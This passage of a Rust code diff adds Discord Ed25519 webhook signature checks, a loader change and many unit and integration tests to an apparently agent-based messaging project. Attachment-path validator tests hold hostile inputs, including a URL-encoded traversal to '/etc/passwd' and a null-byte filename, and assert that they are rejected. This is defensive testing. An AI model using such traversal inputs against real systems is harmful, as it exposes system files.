fn validate_attachment_paths_empty_ok() {
let paths: Vec<String> = vec![];
let result = SignalChannel::validate_attachment_paths(&paths);
assert!(result.is_ok());
}
#[test]
fn validate_attachment_paths_rejects_path_outside_sandbox() {
let paths = vec!["/tmp/evil.txt".to_string()];
let result = SignalChannel::validate_attachment_paths(&paths);
assert!(result.is_err());
let err = result.unwrap_err().to_string();
assert!(err.contains("sandbox"));
}
#[test]
fn validate_attachment_paths_rejects_url_encoded_traversal() {
let paths = vec!["%2e%2e%2fetc/passwd".to_string()];
let result = SignalChannel::validate_attachment_paths(&paths);
assert!(result.is_err());
}
#[test]
fn validate_attachment_paths_rejects_null_byte() {
let paths = vec!["file\0.txt".to_string()];
let result = SignalChannel::validate_attachment_paths(&paths);
assert!(result.is_err());
}
// ── conversation context ───────────────────────────────────────────
#[test]
fn conversation_context_extracts_sender() {
let ch = SignalChannel::new(make_config()).unwrap();
let metadata = serde_json::json!({
"signal_sender": "+1234567890",
"signal_sender_uuid": "uuid-123",
"signal_target": "+0987654321"
});
let ctx = ch.conversation_context(&metadata);
assert_eq!(ctx.get("sender"), Some(&"+1234567890".to_string()));
assert_eq!(ctx.get("sender_uuid"), Some(&"uuid-123".to_string()));
assert!(!ctx.contains_key("group"));
}
#[test]
fn conversation_context_extracts_group() {
let ch = SignalChannel::new(make_config()).unwrap();
let metadata = serde_json::json!({
"signal_sender": "+1234567890",
"signal_target": "group:mygroup"
});
let ctx = ch.conversation_context(&metadata);
assert_eq!(ctx.get("sender"), Some(&"+1234567890".to_string()));
assert_eq!(ctx.get("group"), Some(&"group:mygroup".to_string()));
}
#[test]
fn conversation_context_empty_for_unknown_channel() {
let ch = SignalChannel::new(make_config()).unwrap();
let metadata = serde_json::json!({
"unknown_key": "value"
});
let ctx = ch.conversation_context(&metadata);
assert!(ctx.is_empty());
}
} }
+166
View File
@@ -594,4 +594,170 @@ mod tests {
Some("200".to_string()) Some("200".to_string())
); );
} }
// === QA Plan P2 - 2.3: WASM channel lifecycle tests ===
#[test]
fn test_workspace_write_then_read_round_trip() {
// Full lifecycle: write in one "callback", commit, then read in a
// subsequent "callback" using the same store as the workspace reader.
use crate::channels::wasm::host::ChannelWorkspaceStore;
use crate::tools::wasm::{WorkspaceCapability, WorkspaceReader};
use std::sync::Arc;
let store = Arc::new(ChannelWorkspaceStore::new());
// --- Callback 1: write workspace data ---
let caps = ChannelCapabilities::for_channel("telegram");
let mut state = ChannelHostState::new("telegram", caps);
state
.workspace_write("offset", "12345".to_string())
.unwrap();
state
.workspace_write("state.json", r#"{"ok":true}"#.to_string())
.unwrap();
let writes = state.take_pending_writes();
assert_eq!(writes.len(), 2);
store.commit_writes(&writes);
// --- Callback 2: read back the data written in callback 1 ---
// Build capabilities with the store as the workspace reader.
let mut caps2 = ChannelCapabilities::for_channel("telegram");
caps2.tool_capabilities.workspace_read = Some(WorkspaceCapability {
allowed_prefixes: vec![], // empty = all paths allowed
reader: Some(Arc::clone(&store) as Arc<dyn WorkspaceReader>),
});
let state2 = ChannelHostState::new("telegram", caps2);
// workspace_read prefixes path with "channels/telegram/" before delegating.
let offset = state2.workspace_read("offset").unwrap();
assert_eq!(offset, Some("12345".to_string()));
let json = state2.workspace_read("state.json").unwrap();
assert_eq!(json, Some(r#"{"ok":true}"#.to_string()));
// Non-existent key returns None.
let missing = state2.workspace_read("no_such_key").unwrap();
assert!(missing.is_none());
}
#[test]
fn test_workspace_overwrite_across_callbacks() {
// Verify that a second write to the same key overwrites the first.
use crate::channels::wasm::host::ChannelWorkspaceStore;
use crate::tools::wasm::{WorkspaceCapability, WorkspaceReader};
use std::sync::Arc;
let store = Arc::new(ChannelWorkspaceStore::new());
// Callback 1: write initial value.
let caps = ChannelCapabilities::for_channel("slack");
let mut state = ChannelHostState::new("slack", caps);
state.workspace_write("cursor", "100".to_string()).unwrap();
let writes = state.take_pending_writes();
store.commit_writes(&writes);
// Callback 2: overwrite the same key.
let caps2 = ChannelCapabilities::for_channel("slack");
let mut state2 = ChannelHostState::new("slack", caps2);
state2.workspace_write("cursor", "200".to_string()).unwrap();
let writes2 = state2.take_pending_writes();
store.commit_writes(&writes2);
// Callback 3: read back -- should see the overwritten value.
let mut caps3 = ChannelCapabilities::for_channel("slack");
caps3.tool_capabilities.workspace_read = Some(WorkspaceCapability {
allowed_prefixes: vec![],
reader: Some(Arc::clone(&store) as Arc<dyn WorkspaceReader>),
});
let state3 = ChannelHostState::new("slack", caps3);
let value = state3.workspace_read("cursor").unwrap();
assert_eq!(value, Some("200".to_string()));
}
#[test]
fn test_emit_and_take_preserves_order_and_content() {
// Emit multiple messages, take them, verify order and content.
let caps = ChannelCapabilities::for_channel("discord");
let mut state = ChannelHostState::new("discord", caps);
let messages_data = vec![
("user-a", "Hello from A"),
("user-b", "Hello from B"),
("user-a", "Follow-up from A"),
];
for (uid, content) in &messages_data {
state
.emit_message(EmittedMessage::new(*uid, *content))
.unwrap();
}
assert_eq!(state.emitted_count(), 3);
let taken = state.take_emitted_messages();
assert_eq!(taken.len(), 3);
// Order preserved.
for (i, (uid, content)) in messages_data.iter().enumerate() {
assert_eq!(taken[i].user_id, *uid);
assert_eq!(taken[i].content, *content);
}
// Take empties the queue.
assert_eq!(state.emitted_count(), 0);
let taken2 = state.take_emitted_messages();
assert!(taken2.is_empty());
}
#[test]
fn test_channels_have_isolated_namespaces() {
// Two channels writing to the same relative path should not collide.
use crate::channels::wasm::host::ChannelWorkspaceStore;
use crate::tools::wasm::{WorkspaceCapability, WorkspaceReader};
use std::sync::Arc;
let store = Arc::new(ChannelWorkspaceStore::new());
// Telegram writes "offset" = "100".
let caps_tg = ChannelCapabilities::for_channel("telegram");
let mut state_tg = ChannelHostState::new("telegram", caps_tg);
state_tg
.workspace_write("offset", "100".to_string())
.unwrap();
store.commit_writes(&state_tg.take_pending_writes());
// Slack writes "offset" = "200".
let caps_sl = ChannelCapabilities::for_channel("slack");
let mut state_sl = ChannelHostState::new("slack", caps_sl);
state_sl
.workspace_write("offset", "200".to_string())
.unwrap();
store.commit_writes(&state_sl.take_pending_writes());
// Reading back: each channel sees its own value.
let mut caps_tg_read = ChannelCapabilities::for_channel("telegram");
caps_tg_read.tool_capabilities.workspace_read = Some(WorkspaceCapability {
allowed_prefixes: vec![],
reader: Some(Arc::clone(&store) as Arc<dyn WorkspaceReader>),
});
let tg_reader = ChannelHostState::new("telegram", caps_tg_read);
assert_eq!(
tg_reader.workspace_read("offset").unwrap(),
Some("100".to_string())
);
let mut caps_sl_read = ChannelCapabilities::for_channel("slack");
caps_sl_read.tool_capabilities.workspace_read = Some(WorkspaceCapability {
allowed_prefixes: vec![],
reader: Some(Arc::clone(&store) as Arc<dyn WorkspaceReader>),
});
let sl_reader = ChannelHostState::new("slack", caps_sl_read);
assert_eq!(
sl_reader.workspace_read("offset").unwrap(),
Some("200".to_string())
);
}
} }
+31 -6
View File
@@ -11,25 +11,33 @@ use std::sync::Arc;
use tokio::fs; use tokio::fs;
use crate::bootstrap::ironclaw_base_dir;
use crate::channels::wasm::capabilities::ChannelCapabilities; use crate::channels::wasm::capabilities::ChannelCapabilities;
use crate::channels::wasm::error::WasmChannelError; use crate::channels::wasm::error::WasmChannelError;
use crate::channels::wasm::runtime::WasmChannelRuntime; use crate::channels::wasm::runtime::WasmChannelRuntime;
use crate::channels::wasm::schema::ChannelCapabilitiesFile; use crate::channels::wasm::schema::ChannelCapabilitiesFile;
use crate::channels::wasm::wrapper::WasmChannel; use crate::channels::wasm::wrapper::WasmChannel;
use crate::db::SettingsStore;
use crate::pairing::PairingStore; use crate::pairing::PairingStore;
/// Loads WASM channels from the filesystem. /// Loads WASM channels from the filesystem.
pub struct WasmChannelLoader { pub struct WasmChannelLoader {
runtime: Arc<WasmChannelRuntime>, runtime: Arc<WasmChannelRuntime>,
pairing_store: Arc<PairingStore>, pairing_store: Arc<PairingStore>,
settings_store: Option<Arc<dyn SettingsStore>>,
} }
impl WasmChannelLoader { impl WasmChannelLoader {
/// Create a new loader with the given runtime and pairing store. /// Create a new loader with the given runtime and pairing store.
pub fn new(runtime: Arc<WasmChannelRuntime>, pairing_store: Arc<PairingStore>) -> Self { pub fn new(
runtime: Arc<WasmChannelRuntime>,
pairing_store: Arc<PairingStore>,
settings_store: Option<Arc<dyn SettingsStore>>,
) -> Self {
Self { Self {
runtime, runtime,
pairing_store, pairing_store,
settings_store,
} }
} }
@@ -125,6 +133,7 @@ impl WasmChannelLoader {
capabilities, capabilities,
config_json, config_json,
self.pairing_store.clone(), self.pairing_store.clone(),
self.settings_store.clone(),
); );
tracing::info!( tracing::info!(
@@ -248,6 +257,13 @@ impl LoadedChannel {
.and_then(|f| f.webhook_secret_header()) .and_then(|f| f.webhook_secret_header())
} }
/// Get the signature verification key secret name from capabilities.
pub fn signature_key_secret_name(&self) -> Option<String> {
self.capabilities_file
.as_ref()
.and_then(|f| f.signature_key_secret_name().map(|s| s.to_string()))
}
/// Get the webhook secret name from capabilities. /// Get the webhook secret name from capabilities.
pub fn webhook_secret_name(&self) -> String { pub fn webhook_secret_name(&self) -> String {
self.capabilities_file self.capabilities_file
@@ -349,10 +365,7 @@ pub struct DiscoveredChannel {
/// Returns ~/.ironclaw/channels/ /// Returns ~/.ironclaw/channels/
#[allow(dead_code)] #[allow(dead_code)]
pub fn default_channels_dir() -> PathBuf { pub fn default_channels_dir() -> PathBuf {
dirs::home_dir() ironclaw_base_dir().join("channels")
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw")
.join("channels")
} }
#[cfg(test)] #[cfg(test)]
@@ -416,11 +429,23 @@ mod tests {
assert!(channels.contains_key("channel")); assert!(channels.contains_key("channel"));
} }
#[test]
fn test_loaded_channel_signature_key_none_without_caps() {
// We can't easily construct a WasmChannel without a runtime, so test
// the delegation logic directly: when capabilities_file is None, the
// chain returns None (same logic as LoadedChannel::signature_key_secret_name).
let cap_file: Option<crate::channels::wasm::schema::ChannelCapabilitiesFile> = None;
let result = cap_file
.as_ref()
.and_then(|f| f.signature_key_secret_name().map(|s| s.to_string()));
assert_eq!(result, None);
}
#[tokio::test] #[tokio::test]
async fn test_loader_invalid_name() { async fn test_loader_invalid_name() {
let config = WasmChannelRuntimeConfig::for_testing(); let config = WasmChannelRuntimeConfig::for_testing();
let runtime = Arc::new(WasmChannelRuntime::new(config).unwrap()); let runtime = Arc::new(WasmChannelRuntime::new(config).unwrap());
let loader = WasmChannelLoader::new(runtime, Arc::new(PairingStore::new())); let loader = WasmChannelLoader::new(runtime, Arc::new(PairingStore::new()), None);
let dir = TempDir::new().unwrap(); let dir = TempDir::new().unwrap();
let wasm_path = dir.path().join("test.wasm"); let wasm_path = dir.path().join("test.wasm");
+1
View File
@@ -86,6 +86,7 @@ mod loader;
mod router; mod router;
mod runtime; mod runtime;
mod schema; mod schema;
pub(crate) mod signature;
mod wrapper; mod wrapper;
// Core types // Core types
+519
View File
@@ -42,6 +42,8 @@ pub struct WasmChannelRouter {
secrets: RwLock<HashMap<String, String>>, secrets: RwLock<HashMap<String, String>>,
/// Webhook secret header names by channel name (e.g., "X-Telegram-Bot-Api-Secret-Token"). /// Webhook secret header names by channel name (e.g., "X-Telegram-Bot-Api-Secret-Token").
secret_headers: RwLock<HashMap<String, String>>, secret_headers: RwLock<HashMap<String, String>>,
/// Ed25519 public keys for signature verification by channel name (hex-encoded).
signature_keys: RwLock<HashMap<String, String>>,
} }
impl WasmChannelRouter { impl WasmChannelRouter {
@@ -52,6 +54,7 @@ impl WasmChannelRouter {
path_to_channel: RwLock::new(HashMap::new()), path_to_channel: RwLock::new(HashMap::new()),
secrets: RwLock::new(HashMap::new()), secrets: RwLock::new(HashMap::new()),
secret_headers: RwLock::new(HashMap::new()), secret_headers: RwLock::new(HashMap::new()),
signature_keys: RwLock::new(HashMap::new()),
} }
} }
@@ -130,6 +133,7 @@ impl WasmChannelRouter {
self.channels.write().await.remove(channel_name); self.channels.write().await.remove(channel_name);
self.secrets.write().await.remove(channel_name); self.secrets.write().await.remove(channel_name);
self.secret_headers.write().await.remove(channel_name); self.secret_headers.write().await.remove(channel_name);
self.signature_keys.write().await.remove(channel_name);
// Remove all paths for this channel // Remove all paths for this channel
self.path_to_channel self.path_to_channel
@@ -174,6 +178,36 @@ impl WasmChannelRouter {
pub async fn list_paths(&self) -> Vec<String> { pub async fn list_paths(&self) -> Vec<String> {
self.path_to_channel.read().await.keys().cloned().collect() self.path_to_channel.read().await.keys().cloned().collect()
} }
/// Register an Ed25519 public key for signature verification.
///
/// Validates that the key is valid hex encoding of a 32-byte Ed25519 public key.
/// Channels with a registered key will have Discord-style Ed25519
/// signature validation performed before forwarding to WASM.
pub async fn register_signature_key(
&self,
channel_name: &str,
public_key_hex: &str,
) -> Result<(), String> {
use ed25519_dalek::VerifyingKey;
let key_bytes = hex::decode(public_key_hex).map_err(|e| format!("invalid hex: {e}"))?;
VerifyingKey::try_from(key_bytes.as_slice())
.map_err(|e| format!("invalid Ed25519 public key: {e}"))?;
self.signature_keys
.write()
.await
.insert(channel_name.to_string(), public_key_hex.to_string());
Ok(())
}
/// Get the signature verification key for a channel.
///
/// Returns `None` if no key is registered (no signature check needed).
pub async fn get_signature_key(&self, channel_name: &str) -> Option<String> {
self.signature_keys.read().await.get(channel_name).cloned()
}
} }
impl Default for WasmChannelRouter { impl Default for WasmChannelRouter {
@@ -342,6 +376,57 @@ async fn webhook_handler(
} }
} }
// Ed25519 signature verification (Discord-style)
if let Some(pub_key_hex) = state.router.get_signature_key(channel_name).await {
let sig_hex = headers
.get("x-signature-ed25519")
.and_then(|v| v.to_str().ok());
let timestamp = headers
.get("x-signature-timestamp")
.and_then(|v| v.to_str().ok());
match (sig_hex, timestamp) {
(Some(sig), Some(ts)) => {
let now_secs = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap_or_default()
.as_secs() as i64;
if !crate::channels::wasm::signature::verify_discord_signature(
&pub_key_hex,
sig,
ts,
&body,
now_secs,
) {
tracing::warn!(
channel = %channel_name,
"Ed25519 signature verification failed"
);
return (
StatusCode::UNAUTHORIZED,
Json(serde_json::json!({
"error": "Invalid signature"
})),
);
}
tracing::debug!(channel = %channel_name, "Ed25519 signature verified");
}
_ => {
tracing::warn!(
channel = %channel_name,
"Signature headers missing but key is registered"
);
return (
StatusCode::UNAUTHORIZED,
Json(serde_json::json!({
"error": "Missing signature headers"
})),
);
}
}
}
// Convert headers to HashMap // Convert headers to HashMap
let headers_map: HashMap<String, String> = headers let headers_map: HashMap<String, String> = headers
.iter() .iter()
@@ -516,6 +601,7 @@ mod tests {
capabilities, capabilities,
"{}".to_string(), "{}".to_string(),
Arc::new(PairingStore::new()), Arc::new(PairingStore::new()),
None,
)) ))
} }
@@ -644,4 +730,437 @@ mod tests {
.await; .await;
assert_eq!(router.get_secret_header("slack").await, "X-Webhook-Secret"); assert_eq!(router.get_secret_header("slack").await, "X-Webhook-Secret");
} }
// ── Category 3: Router Signature Key Management ─────────────────────
#[tokio::test]
async fn test_register_and_get_signature_key() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
let fake_pub_key = "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2";
router
.register_signature_key("discord", fake_pub_key)
.await
.unwrap();
let key = router.get_signature_key("discord").await;
assert_eq!(key, Some(fake_pub_key.to_string()));
}
#[tokio::test]
async fn test_no_signature_key_returns_none() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("slack");
router.register(channel, vec![], None, None).await;
// Slack has no signature key registered
let key = router.get_signature_key("slack").await;
assert!(key.is_none());
}
#[tokio::test]
async fn test_unregister_removes_signature_key() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
let endpoints = vec![RegisteredEndpoint {
channel_name: "discord".to_string(),
path: "/webhook/discord".to_string(),
methods: vec!["POST".to_string()],
require_secret: false,
}];
router.register(channel, endpoints, None, None).await;
// Use a valid 32-byte Ed25519 key for this test
let valid_key = "d75a980182b10ab7d54bfed3c964073a0ee172f3daa3f4a18446b7e8c7ac6602";
router
.register_signature_key("discord", valid_key)
.await
.unwrap();
// Key should exist
assert!(router.get_signature_key("discord").await.is_some());
// Unregister
router.unregister("discord").await;
// Key should be gone
assert!(router.get_signature_key("discord").await.is_none());
}
// ── Key Validation Tests ──────────────────────────────────────────
#[tokio::test]
async fn test_register_valid_signature_key_succeeds() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
// Valid 32-byte Ed25519 public key (from test keypair)
let valid_key = "d75a980182b10ab7d54bfed3c964073a0ee172f3daa3f4a18446b7e8c7ac6602";
let result = router.register_signature_key("discord", valid_key).await;
assert!(result.is_ok(), "Valid Ed25519 key should be accepted");
}
#[tokio::test]
async fn test_register_invalid_hex_key_fails() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
let result = router
.register_signature_key("discord", "not-valid-hex-zzz")
.await;
assert!(result.is_err(), "Invalid hex should be rejected");
}
#[tokio::test]
async fn test_register_wrong_length_key_fails() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
// 16 bytes instead of 32
let short_key = hex::encode([0u8; 16]);
let result = router.register_signature_key("discord", &short_key).await;
assert!(result.is_err(), "Wrong-length key should be rejected");
}
#[tokio::test]
async fn test_register_empty_key_fails() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
let result = router.register_signature_key("discord", "").await;
assert!(result.is_err(), "Empty key should be rejected");
}
#[tokio::test]
async fn test_valid_key_is_retrievable() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
let valid_key = "d75a980182b10ab7d54bfed3c964073a0ee172f3daa3f4a18446b7e8c7ac6602";
router
.register_signature_key("discord", valid_key)
.await
.unwrap();
let stored = router.get_signature_key("discord").await;
assert_eq!(stored, Some(valid_key.to_string()));
}
#[tokio::test]
async fn test_invalid_key_does_not_store() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
// Attempt to register invalid key
let _ = router
.register_signature_key("discord", "not-valid-hex")
.await;
// Should not have stored anything
let stored = router.get_signature_key("discord").await;
assert!(stored.is_none(), "Invalid key should not be stored");
}
// ── Webhook Handler Integration Tests ─────────────────────────────
use axum::Router as AxumRouter;
use axum::body::Body;
use axum::http::{Request, StatusCode};
use tower::ServiceExt;
use crate::channels::wasm::router::create_wasm_channel_router;
use ed25519_dalek::{Signer, SigningKey};
/// Helper to create a router with a registered channel at /webhook/discord.
async fn setup_discord_router() -> (Arc<WasmChannelRouter>, AxumRouter) {
let wasm_router = Arc::new(WasmChannelRouter::new());
let channel = create_test_channel("discord");
let endpoints = vec![RegisteredEndpoint {
channel_name: "discord".to_string(),
path: "/webhook/discord".to_string(),
methods: vec!["POST".to_string()],
require_secret: false,
}];
wasm_router.register(channel, endpoints, None, None).await;
let app = create_wasm_channel_router(wasm_router.clone(), None);
(wasm_router, app)
}
/// Helper: generate a test keypair.
fn test_signing_key() -> SigningKey {
SigningKey::from_bytes(&[
0x9d, 0x61, 0xb1, 0x9d, 0xef, 0xfd, 0x5a, 0x60, 0xba, 0x84, 0x4a, 0xf4, 0x92, 0xec,
0x2c, 0xc4, 0x44, 0x49, 0xc5, 0x69, 0x7b, 0x32, 0x69, 0x19, 0x70, 0x3b, 0xac, 0x03,
0x1c, 0xae, 0x7f, 0x60,
])
}
#[tokio::test]
async fn test_webhook_rejects_missing_sig_headers() {
let (wasm_router, app) = setup_discord_router().await;
// Register a signature key
let signing_key = test_signing_key();
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
wasm_router
.register_signature_key("discord", &pub_key_hex)
.await
.unwrap();
// Send request without signature headers
let req = Request::builder()
.method("POST")
.uri("/webhook/discord")
.header("content-type", "application/json")
.body(Body::from(r#"{"type":1}"#))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Missing signature headers should return 401"
);
}
#[tokio::test]
async fn test_webhook_rejects_invalid_signature() {
let (wasm_router, app) = setup_discord_router().await;
let signing_key = test_signing_key();
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
wasm_router
.register_signature_key("discord", &pub_key_hex)
.await
.unwrap();
let req = Request::builder()
.method("POST")
.uri("/webhook/discord")
.header("content-type", "application/json")
.header("x-signature-ed25519", "deadbeefdeadbeef")
.header("x-signature-timestamp", "1234567890")
.body(Body::from(r#"{"type":1}"#))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Invalid signature should return 401"
);
}
#[tokio::test]
async fn test_webhook_accepts_valid_signature() {
let (wasm_router, app) = setup_discord_router().await;
let signing_key = test_signing_key();
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
wasm_router
.register_signature_key("discord", &pub_key_hex)
.await
.unwrap();
// Use current timestamp so staleness check passes
let now_secs = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.as_secs();
let timestamp = now_secs.to_string();
let body_bytes = br#"{"type":1}"#;
let mut message = Vec::new();
message.extend_from_slice(timestamp.as_bytes());
message.extend_from_slice(body_bytes);
let signature = signing_key.sign(&message);
let sig_hex = hex::encode(signature.to_bytes());
let req = Request::builder()
.method("POST")
.uri("/webhook/discord")
.header("content-type", "application/json")
.header("x-signature-ed25519", &sig_hex)
.header("x-signature-timestamp", &timestamp)
.body(Body::from(&body_bytes[..]))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
// Should NOT be 401 — signature is valid (may be 500 since no WASM module)
assert_ne!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Valid signature should not return 401"
);
}
#[tokio::test]
async fn test_webhook_skips_sig_for_no_key() {
let (_wasm_router, app) = setup_discord_router().await;
// No signature key registered — should not require signature
let req = Request::builder()
.method("POST")
.uri("/webhook/discord")
.header("content-type", "application/json")
.body(Body::from(r#"{"type":1}"#))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
// Should NOT be 401 (may be 500 since no WASM module, but not auth failure)
assert_ne!(
resp.status(),
StatusCode::UNAUTHORIZED,
"No signature key registered — should skip sig check"
);
}
#[tokio::test]
async fn test_webhook_sig_check_uses_body() {
let (wasm_router, app) = setup_discord_router().await;
let signing_key = test_signing_key();
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
wasm_router
.register_signature_key("discord", &pub_key_hex)
.await
.unwrap();
let timestamp = "1234567890";
// Sign body A
let body_a = br#"{"type":1}"#;
let mut message = Vec::new();
message.extend_from_slice(timestamp.as_bytes());
message.extend_from_slice(body_a);
let signature = signing_key.sign(&message);
let sig_hex = hex::encode(signature.to_bytes());
// But send body B
let body_b = br#"{"type":2}"#;
let req = Request::builder()
.method("POST")
.uri("/webhook/discord")
.header("content-type", "application/json")
.header("x-signature-ed25519", &sig_hex)
.header("x-signature-timestamp", timestamp)
.body(Body::from(&body_b[..]))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Signature for different body should return 401"
);
}
#[tokio::test]
async fn test_webhook_sig_check_uses_timestamp() {
let (wasm_router, app) = setup_discord_router().await;
let signing_key = test_signing_key();
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
wasm_router
.register_signature_key("discord", &pub_key_hex)
.await
.unwrap();
// Sign with timestamp A
let timestamp_a = "1234567890";
let body = br#"{"type":1}"#;
let mut message = Vec::new();
message.extend_from_slice(timestamp_a.as_bytes());
message.extend_from_slice(body);
let signature = signing_key.sign(&message);
let sig_hex = hex::encode(signature.to_bytes());
// But send timestamp B in the header
let timestamp_b = "9999999999";
let req = Request::builder()
.method("POST")
.uri("/webhook/discord")
.header("content-type", "application/json")
.header("x-signature-ed25519", &sig_hex)
.header("x-signature-timestamp", timestamp_b)
.body(Body::from(&body[..]))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Signature with mismatched timestamp should return 401"
);
}
#[tokio::test]
async fn test_webhook_sig_plus_secret() {
let wasm_router = Arc::new(WasmChannelRouter::new());
let channel = create_test_channel("discord");
let endpoints = vec![RegisteredEndpoint {
channel_name: "discord".to_string(),
path: "/webhook/discord".to_string(),
methods: vec!["POST".to_string()],
require_secret: true,
}];
// Register with BOTH secret and signature key
wasm_router
.register(channel, endpoints, Some("my-secret".to_string()), None)
.await;
let signing_key = test_signing_key();
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
wasm_router
.register_signature_key("discord", &pub_key_hex)
.await
.unwrap();
let app = create_wasm_channel_router(wasm_router.clone(), None);
// Use current timestamp so staleness check passes
let now_secs = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.as_secs();
let timestamp = now_secs.to_string();
let body = br#"{"type":1}"#;
let mut message = Vec::new();
message.extend_from_slice(timestamp.as_bytes());
message.extend_from_slice(body);
let signature = signing_key.sign(&message);
let sig_hex = hex::encode(signature.to_bytes());
// Provide valid signature AND valid secret
let req = Request::builder()
.method("POST")
.uri("/webhook/discord?secret=my-secret")
.header("content-type", "application/json")
.header("x-signature-ed25519", &sig_hex)
.header("x-signature-timestamp", &timestamp)
.body(Body::from(&body[..]))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
// Should pass both checks (may be 500 due to no WASM module, but not 401)
assert_ne!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Valid secret + valid signature should not return 401"
);
}
} }
+103
View File
@@ -111,6 +111,18 @@ impl ChannelCapabilitiesFile {
.and_then(|w| w.secret_header.as_deref()) .and_then(|w| w.secret_header.as_deref())
} }
/// Get the signature verification key secret name for this channel.
///
/// Returns the secret name declared in `webhook.signature_key_secret_name`,
/// used to look up the Ed25519 public key in the secrets store.
pub fn signature_key_secret_name(&self) -> Option<&str> {
self.capabilities
.channel
.as_ref()
.and_then(|c| c.webhook.as_ref())
.and_then(|w| w.signature_key_secret_name.as_deref())
}
/// Get the webhook secret name for this channel. /// Get the webhook secret name for this channel.
/// ///
/// Returns the configured secret name or defaults to "{channel_name}_webhook_secret". /// Returns the configured secret name or defaults to "{channel_name}_webhook_secret".
@@ -230,6 +242,11 @@ pub struct WebhookSchema {
/// Default: "{channel_name}_webhook_secret" /// Default: "{channel_name}_webhook_secret"
#[serde(default)] #[serde(default)]
pub secret_name: Option<String>, pub secret_name: Option<String>,
/// Secret name in secrets store containing the Ed25519 public key
/// for signature verification (e.g., Discord interaction verification).
#[serde(default)]
pub signature_key_secret_name: Option<String>,
} }
/// Setup configuration schema. /// Setup configuration schema.
@@ -585,4 +602,90 @@ mod tests {
64 64
); );
} }
// ── Category 5: Discord Capabilities Setup & Configuration ──────────
#[test]
fn test_discord_capabilities_has_public_key_secret() {
let json = include_str!("../../../channels-src/discord/discord.capabilities.json");
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
let secret_names: Vec<&str> = file
.setup
.required_secrets
.iter()
.map(|s| s.name.as_str())
.collect();
assert!(
secret_names.contains(&"discord_public_key"),
"discord.capabilities.json must include discord_public_key in setup.required_secrets, \
found: {:?}",
secret_names
);
}
#[test]
fn test_webhook_schema_signature_key_secret_name() {
let json = r#"{
"name": "discord",
"capabilities": {
"channel": {
"allowed_paths": ["/webhook/discord"],
"webhook": {
"signature_key_secret_name": "discord_public_key"
}
}
}
}"#;
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
assert_eq!(file.signature_key_secret_name(), Some("discord_public_key"));
}
#[test]
fn test_signature_key_secret_name_none_when_missing() {
let json = r#"{
"name": "telegram",
"capabilities": {
"channel": {
"allowed_paths": ["/webhook/telegram"],
"webhook": {
"secret_header": "X-Telegram-Bot-Api-Secret-Token"
}
}
}
}"#;
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
assert_eq!(file.signature_key_secret_name(), None);
}
#[test]
fn test_discord_capabilities_signature_key() {
let json = include_str!("../../../channels-src/discord/discord.capabilities.json");
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
assert_eq!(
file.signature_key_secret_name(),
Some("discord_public_key"),
"discord.capabilities.json must declare signature_key_secret_name"
);
}
#[test]
fn test_discord_capabilities_secrets_allowlist() {
let json = include_str!("../../../channels-src/discord/discord.capabilities.json");
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
let caps = file.to_capabilities();
let secrets_caps = caps
.tool_capabilities
.secrets
.expect("Discord should have secrets capability");
assert!(
secrets_caps.is_allowed("discord_public_key"),
"discord_public_key must be in the secrets allowlist"
);
}
} }
+341
View File
@@ -0,0 +1,341 @@
//! Discord Ed25519 signature verification.
//!
//! Validates `X-Signature-Ed25519` and `X-Signature-Timestamp` headers
//! on incoming Discord interaction webhooks, per Discord's security requirements.
//!
//! See: <https://discord.com/developers/docs/interactions/overview#validating-security-request-headers>
/// Verify a Discord interaction signature.
///
/// Discord signs each interaction with Ed25519 using:
/// - message = `timestamp` (UTF-8 bytes) ++ `body` (raw bytes)
/// - signature = Ed25519 detached signature (hex-encoded in header)
/// - public_key = Application public key from Developer Portal (hex-encoded)
///
/// Returns `true` if the signature is valid, `false` on any error
/// (bad hex, wrong length, invalid signature, etc.).
pub fn verify_discord_signature(
public_key_hex: &str,
signature_hex: &str,
timestamp: &str,
body: &[u8],
now_secs: i64,
) -> bool {
// Staleness check: reject non-numeric or stale/future timestamps
let ts: i64 = match timestamp.parse() {
Ok(v) => v,
Err(_) => return false,
};
